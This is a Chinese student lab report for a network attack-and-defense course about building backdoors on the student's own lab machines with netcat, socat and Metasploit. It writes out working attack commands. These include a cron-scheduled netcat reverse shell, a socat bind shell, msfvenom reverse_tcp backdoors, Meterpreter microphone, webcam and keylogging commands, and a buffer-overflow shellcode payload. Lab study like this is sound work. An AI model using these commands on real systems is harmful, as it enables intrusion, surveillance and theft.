1. 程式人生 > 其它 >20192415 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

20192415 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

20192415 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

目錄

1.實驗內容

1.1 實驗要求

  1. 使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
    PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序
  2. 使用socat獲取主機操作Shell, 任務計劃啟動
  3. 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
  4. 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
  5. 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

1.2 基礎問題回答

  1. 例舉你能想到的一個後門進入到你係統中的可能方式?

    非官方渠道下載軟體。很多非官方提供的軟體版本可能就存在後門或其他安全隱患,這樣分享者可能有利可圖。

  2. 例舉你知道的後門如何啟動起來(win及linux)的方式?

    • win:在“任務計劃程式”中建立任務,在“登錄檔”中設定開機自啟動等,將惡意程式更名誘導使用者點選從而執行
    • linux:通過crontab功能設定任務定時啟動,對正常程式注入shellcode使其連帶啟動
  3. Meterpreter有哪些給你映像深刻的功能?

    Meterpreter就像後門程式的一條龍服務。既能生成後門程式,又能進行本地監聽。給我留下最深刻印象的還是截圖、錄音、攝像與記錄擊鍵記錄,通過這些功能可以輕而易舉的監控一個人在他的計算機上進行的操作。能夠獲取計算機使用者各種網路賬戶的密碼,使其隱私暴露無遺。

  4. 如何發現自己有系統有沒有被安裝後門?

    • 檢測網路連線與開放埠,檢視是否有IP與本機建立連線
    • 安裝防毒軟體進行實時防護,定期全面掃描檢測電腦安全情況
    • 檢視“任務計劃程式”和“登錄檔”中是否有可疑任務
    • 攝像頭、麥克風非使用情況下保持關閉狀態

1.3 基礎知識

1.3.1 工具

  1. netcat:又名nc,ncat。是一個底層工具,進行基本的TCP/UDP資料收發。常被與其他工具結合使用,起到後門的作用。

     引數說明:
     -l, --listen 繫結和監聽接入連線(server端使用)
     -p, --source-port port 指定連線使用的源埠號(client端使用)
     -s, --source addr 客戶端指定連線伺服器使用的ip(client端使用)
     -e, --exec <command> 接收到的命令通過command(例如/bin/bash)執行
    
  2. socat:linux下的一個工具,功能與netcat類似可看做netcat的加強版。有一些netcat所不具備卻又很有需求的功能,例如ssl連線。

  3. crontab:用來定期執行程式的命令。當安裝完成作業系統之後,預設便會啟動此任務排程命令。crond 命令每分鐘會定期檢查是否有要執行的工作,如果有要執行的工作便會自動執行該工作。注意:新建立的 cron 任務,不會馬上執行,至少要過 2 分鐘後才可以,當然你可以重啟 cron 來馬上執行。

     引數說明:
     -e : 執行文字編輯器來設定時程表
     -r : 刪除目前的時程表
     -l : 列出目前的時程表
    
  4. msfvenom:免費的、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟體漏洞實施攻擊,是msfpayload、msfencode的結合體,本身附帶數百個已知軟體漏洞的專業級漏洞攻擊工具。利用msfvenom生成木馬程式,並在目標機上執行、在本地監聽。

     引數說明:
     -p, --payload    <payload>       指定需要使用的payload(攻擊荷載)
     -l, --list       [module_type]   列出指定模組的所有可用資源
     -n, --nopsled    <length>        為payload預先指定一個NOP滑動長度
     -f, --format     <format>        指定輸出格式
     -e, --encoder    [encoder]       指定需要使用的encoder(編碼器)
     -a, --arch       <architecture>  指定payload的目標架構
         --platform   <platform>      指定payload的目標平臺
     -s, --space      <length>        設定有效攻擊荷載的最大長度
     -b, --bad-chars  <list>          設定規避字符集,比如: &#039;\x00\xff&#039;
     -i, --iterations <count>         指定payload的編碼次數
     -c, --add-code   <path>          指定一個附加的win32 shellcode檔案
     -x, --template   <path>          指定一個自定義的可執行檔案作為模板
     -k, --keep                       保護模板程式的動作,注入的payload作為一個新的程序執行
         --payload-options            列舉payload的標準選項
     -o, --out   <path>               儲存payload
     -v, --var-name <name>            指定一個自定義的變數,以確定輸出格式
         --shellest                   最小化生成payload
    

2.實驗過程

2.1 使用netcat獲取主機操作Shell,cron啟動某項任務

Cron是Linux下的定時任務,每一分鐘執行一次,根據配置檔案執行預設的指令。
Linux是由Cron這個系統服務來控制的。Linux系統上面原本就有非常多的計劃性工作,因此這個系統服務是預設啟動的。
另外,由於使用者自己也可以設定計劃任務,所以,Linux系統也提供了使用者控制計劃任務的命令:crontab命令。
本實驗我們在kali中使用crontab設定定時任務。

在win10的cmd中輸入如下指令,開啟監聽:

ncat.exe -l -p 2415	#開啟監聽

在kali中設定定時任務:

crontab -e	#開啟文字編輯表,這裡選擇的是/usr/bin/vim.basic
30 * * * * /bin/netcat 172.30.2.46 2415 -e /bin/sh	
#設定時程表,在每天每小時的30分鐘啟動任務,任務內容為啟動netcat執行/bin/bash
crontab -l	#檢視時程表

注意:win監聽必須在所設定的時間到達之前就啟動,如設定任務在30分時啟動,則最晚應在29分時就開始監聽

實驗效果:

2.2 使用socat獲取主機操作Shell, 任務計劃啟動

在win10中,開啟“計算機管理”->“任務計劃程式”。選擇建立任務,根據需要建立程式。
這裡我建立了一個名為20192415xzb,會在2022-3-30的21:48啟動的任務。在“程式或指令碼”選中socat.exe,並新增以下引數:

tcp-listen:2415 exec:cmd.exe,pty,stderr	#把cmd.exe繫結到埠2415,同時把cmd.exe的stderr重定向到stdout上:

在設定的任務執行前,開啟kali終端並連線遠端埠:

socat - tcp:172.30.4.253:2415	#連線遠端埠

當任務狀態由“準備就緒”變為“正在執行”後,會彈出一個socat.exe的視窗。此時可發現已成功獲得一個cmd shell:

2.3 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

首先,在kali中使用MSF生成後門程式。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.27 LPORT=2415 -f exe > 20192415xzb_backdoor.exe	#簡單版

在win10中開啟“病毒與威脅防護”→“設定”,關閉“實時保護”,將後門程式傳送給win10:

接收方win10:ncat.exe -l 2415 > 20192415xzb_backdoor.exe	#指定埠2415
傳送方kali:nc 172.30.2.46 2415 < 20192415xzb_backdoor.exe #172.30.2.46為接收方的IP地址

接下來在kali終端中進入MSF控制檯進行配置:

msfconsole	#進入控制檯
use exploit/multi/handler	#使用監聽模組,設定payload
set payload windows/meterpreter/reverse_tcp	#告訴後門要監聽的是哪種,使用和生成後門程式時相同的payload
set LHOST 172.30.1.27	#控制方Kali的IP,需要和之前生成的後門exe時設定的IP相同
set LPORT 2415 	#設定埠
show options	#展示配置
exploit	#開啟監聽

接下來在win10中執行exe程式,kali可獲取win10主機Shell:

2.4 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

在2.3中,我們已經通過MSF生成的可執行檔案獲取到win10的Shell,這裡我們出入指令獲取目標主機相關資訊。

record_mic -d 10  #截獲音訊,-d設定錄製時間
screenshot  #截圖
webcam_snap	#使用攝像頭拍照
keyscan_start #開始記錄擊鍵過程
keyscan_stop #讀取擊鍵記錄

實驗效果如圖:

除此之外,我們還可以嘗試提高許可權:

getuid	#獲取使用者識別碼
getsystem	#獲取system許可權

可以看到,此時提權並沒有成功,這是因為當前使用者實際是在管理組administrators組。

windows作業系統在vista以後增加了一個UAC的功能,英文全稱User Access Control,該功能對管理員組的使用者起到一定限制,進而保護電腦保安,當我們需要執行一些重要的程式,只有管理員許可權才能執行的程式時,UAC功能都會彈出一個對話方塊,對使用者進行詢問,當用戶點選了同意按鈕,程式才會以管理員或system許可權執行。

UAC使用者賬戶控制,要求使用者在執行可能影響計算機執行的操作,或者在進行可能影響其他使用者的設定之前,對使用者身份進行驗證,以避免惡意軟體和間諜軟體在未經許可的情況下,在計算機上實施一些惡意行動。需要UAC授權的操作:配置windows update、增加刪除賬戶、更改賬戶型別、更改UAC設定、安裝解除安裝軟體、檢視其他使用者的資料夾

因此,我們要想提權成功,首先要繞過windows的UAC限制。

我嘗試了後門進階應用Meterprter中的/local/ask模組、/local/bypassuac模組,均未能成功提權,最終只有在win10上使用管理員許可權執行後門exe,才得以成功提權(注意埠號2415也是學號後4位)。

查詢資料時,與之相關的說明不多,有一條是這樣說明的:

UAC提權,必須是在管理員組中,不能在通過webshell獲得的IIS組許可權,否則因許可權太低會導致無法繞過UAC。

2.5 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

2.5.1 MSF生成ELF直接注入pwn1
在kali中使用如下命令將後門注入到pwn20192415中生成pwn20192415_2:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.30.1.27 LPORT=2415 -x /root/pwn20192415 -f elf > pwn20192415_2	
#payload功能是獲取反彈連線shell,所以選擇reverse_tcp;要注入到pwn檔案中,所以輸出格式選擇了elf

接著進入MSF控制檯,更改payload設定,之後進行監聽:

set payload linux/x86/meterpreter/reverse_tcp #告訴後門要監聽的是哪種

開啟另一個kali終端,執行pwn20192415_2後監聽將獲取Shell許可權:

2.5.2 MSF生成shellcode通過bof注入pwn1

這裡我們直接使用Exploit Database Shellcodes中別人上傳的shellcode。

先進行與實驗一相同的關閉地址隨機化等操作,在進入MSF控制檯進行配置使payload、lhost、lport等於shellcode一致:

execstack -s pwn20192415   						#設定堆疊可執行 
echo "0" > /proc/sys/kernel/randomize_va_space 	#關閉地址隨機化
msfconsole	#進入控制檯
use exploit/multi/handler	#使用監聽模組,設定payload
set payload linux/x86/shell_reverse_tcp	#這裡的payload應與下載的shelcode的一致
set LHOST 127.0.0.1	#即本機ip,與下載的shelcode一致
set LPORT 4444	#與下載的shelcode一致  
exploit	#開啟監聽

再開啟一個終端,先使用perl將字元存在檔案shellcode20192415中,後使用cat將其作為pwn20192415的輸入:

perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode20192415
(cat shellcode20192415; cat) | ./pwn20192415	#通過管道符,將shellcode20192415作為pwn20192415的輸入

觀察監聽終端,成功獲取Shell許可權:

3.問題及解決方案

  • 問題1:win10能ping通kali,kali ping不通win10
  • 問題1解決方案:將kali設定中的“網路”從“網路地址轉換(NAT)”改為“橋接網絡卡”。
  • 問題2:kali控制win10後出現亂碼
  • 問題2解決方案:控制win10後輸入chcp 65001,顯示UTF8設定;大部分亂碼消失。

CHCP是一個計算機指令,能夠顯示或設定活動內碼表編號。
65001——UTF-8內碼表;950——繁體中文;936——簡體中文預設的GBK;437——MS-DOS美國英語

  • 問題3:MSF生成的後門程式傳輸給win10後先出現後消失
  • 問題3解決方案:先關閉win10中的“實時保護”再傳輸後門程式,否則將直接隔離或刪除後門程式。
  • 問題4:getsystem提權失敗
  • 問題4解決方案:按照後門進階應用Meterprter嘗試使用/local/ask模組、/local/bypassuac模組繞過UAC,但都沒有成功。或許是win10的防護太強,也可能所安裝的kali版本過早有關,TAT已經準備換kali版本了。後來在win10上使用管理員模式執行後面程式,提前成功。

4.學習感悟、思考等

通過本次實驗,我熟悉了netcat、socat和MSF等工具和平臺的使用,對linux命令的掌握也更上一層樓。
同時我深入瞭解了後門原理,並通過自己生成後門程式、反彈式連線等操作獲得了其他主機的訪問權與控制權。
後門是一扇隱蔽的門,能夠方便入侵者再次進入原先入侵過的系統。不正當的後門存在嚴重威脅著網路安全,應該通過技術手段加強防護。

參考資料